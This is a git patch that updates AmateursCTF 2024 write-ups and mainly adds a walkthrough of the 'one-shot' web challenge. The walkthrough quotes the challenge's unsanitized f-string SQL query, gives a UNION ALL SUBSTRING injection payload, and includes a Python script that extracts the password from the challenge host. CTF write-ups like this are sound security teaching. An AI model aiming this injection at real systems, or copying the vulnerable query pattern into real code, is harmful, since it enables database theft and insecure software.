From 6241ae956c883034f9595bfc72aa5a104e3bd463 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Thu, 11 Apr 2024 16:27:25 +0000 Subject: [PATCH] =?UTF-8?q?Update=20writeups=20=F0=9F=9A=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../amateursctf/2024/web/agile-rut.md | 2 +- .../writeups/amateursctf/2024/web/one-shot.md | 100 +++++++++++++++++- writeups | 2 +- 3 files changed, 100 insertions(+), 4 deletions(-) diff --git a/src/content/writeups/amateursctf/2024/web/agile-rut.md b/src/content/writeups/amateursctf/2024/web/agile-rut.md index 2059c88..5906f29 100644 --- a/src/content/writeups/amateursctf/2024/web/agile-rut.md +++ b/src/content/writeups/amateursctf/2024/web/agile-rut.md @@ -27,7 +27,7 @@ After inspecting using another service, called [GlyphrStudio](https://www.glyphr ![glyphrstudio ligatures](https://raw.githubusercontent.com/GerlachSnezka/amateursctf/main/assets/2024-web-agile-rut-glyphrstudio-ligatures.png) -![glyphrstudio ligature](2024-web-agile-rut-glyphrstudio-ligature.png) +![glyphrstudio ligature](https://raw.githubusercontent.com/GerlachSnezka/amateursctf/main/assets/2024-web-agile-rut-glyphrstudio-ligature.png) Using dev tools we can copy the ligature name and we'll get the flag: diff --git a/src/content/writeups/amateursctf/2024/web/one-shot.md b/src/content/writeups/amateursctf/2024/web/one-shot.md index 8d33f38..e44cbf3 100644 --- a/src/content/writeups/amateursctf/2024/web/one-shot.md +++ b/src/content/writeups/amateursctf/2024/web/one-shot.md @@ -3,7 +3,103 @@ title: "one-shot" description: "my friend keeps asking me to play OneShot. i haven't, but i made this cool challenge!" points: 184 solves: 282 -author: nobody +author: Jozef Steinhübl +date: April 11 2024 --- -yeh' one-shot.... it was hard lol +## Introduction + +![task](https://raw.githubusercontent.com/GerlachSnezka/amateursctf/main/assets/2024-web-one-shot.png) + +In this challenge, we are given a website and its source code. We have to create a session, search for a pass and then guess the pass to get the flag. + +## Analysis + +After digging into the source code, we see a potential SQL injection in the `search` route. The `query` parameter is not sanitized and is directly used in the SQL query. + +```python #1,5 +query = db.execute(f"SELECT password FROM table_{id} WHERE password LIKE '%{request.form['query']}%'") +return f""" +

Your results:

+ +

Ready to make your guess?

+
+ + + +
+""" +``` + +In the fifth line, we can see that each row from the query is displayed in the list. The first character of the password is displayed, and the rest of the characters are replaced with `*`. + +## Solution + +We can create a malicious query that will inject multiple `SUBSTRING` SQL functions to display each character of the password in a separate row. + +```sql +%' OR 1=1 UNION ALL SELECT SUBSTRING(password, n, 1) FROM table_{id} +``` + +$$ +\begin{align*} +& n \text{ represents the position of the character in the password} \\ +& id \text{ is the id of the table} +\end{align*} +$$ + +> **Why UNION ALL?** +> We must use `UNION ALL` instead of `UNION` because passwords can contain duplicate characters. + +I created a script that will automate the process of building the query and extracting the password. + +```python +import requests +import re + +URL = "http://one-shot.amt.rs" + + +# Get session id +def get_session(): + res = requests.post(URL + "/new_session") + return res.text.split('type="hidden" name="id" value="')[1].split('"')[0] + + +# Search for password, use malicious query +def search(session: str, query: str): + query = query.replace("{id}", session) + res = requests.post(URL + "/search", data={"id": session, "query": query}) + return re.findall(r"
  • (.*?)
  • ", res.text) + + +# Guess the password +def guess(session: str, password: str): + res = requests.post(URL + "/guess", data={"id": session, "password": password}) + return res.text + + +# Build a malicious query +def build_query(): + query = "%' OR 1=1" + + for n in range(1, 33): + query += f" UNION ALL SELECT SUBSTRING(password, {n}, 1) FROM table_" + "{id}" + + return query + " --" + + +session = get_session() + +vals = search(session, build_query()) +vals = [val for val in vals if len(val) == 1] # get only characters +print(guess(session, "".join(vals))) +``` + +After running the script, we get the flag. + +``` +amateursCTF{go_union_select_a_life} +``` \ No newline at end of file diff --git a/writeups b/writeups index e8b7c25..e14d010 160000 --- a/writeups +++ b/writeups @@ -1 +1 @@ -Subproject commit e8b7c25fc8667597b16ff78a908726e9c057e779 +Subproject commit e14d010a4fc09ef82e53edd4a930109fb26b4d30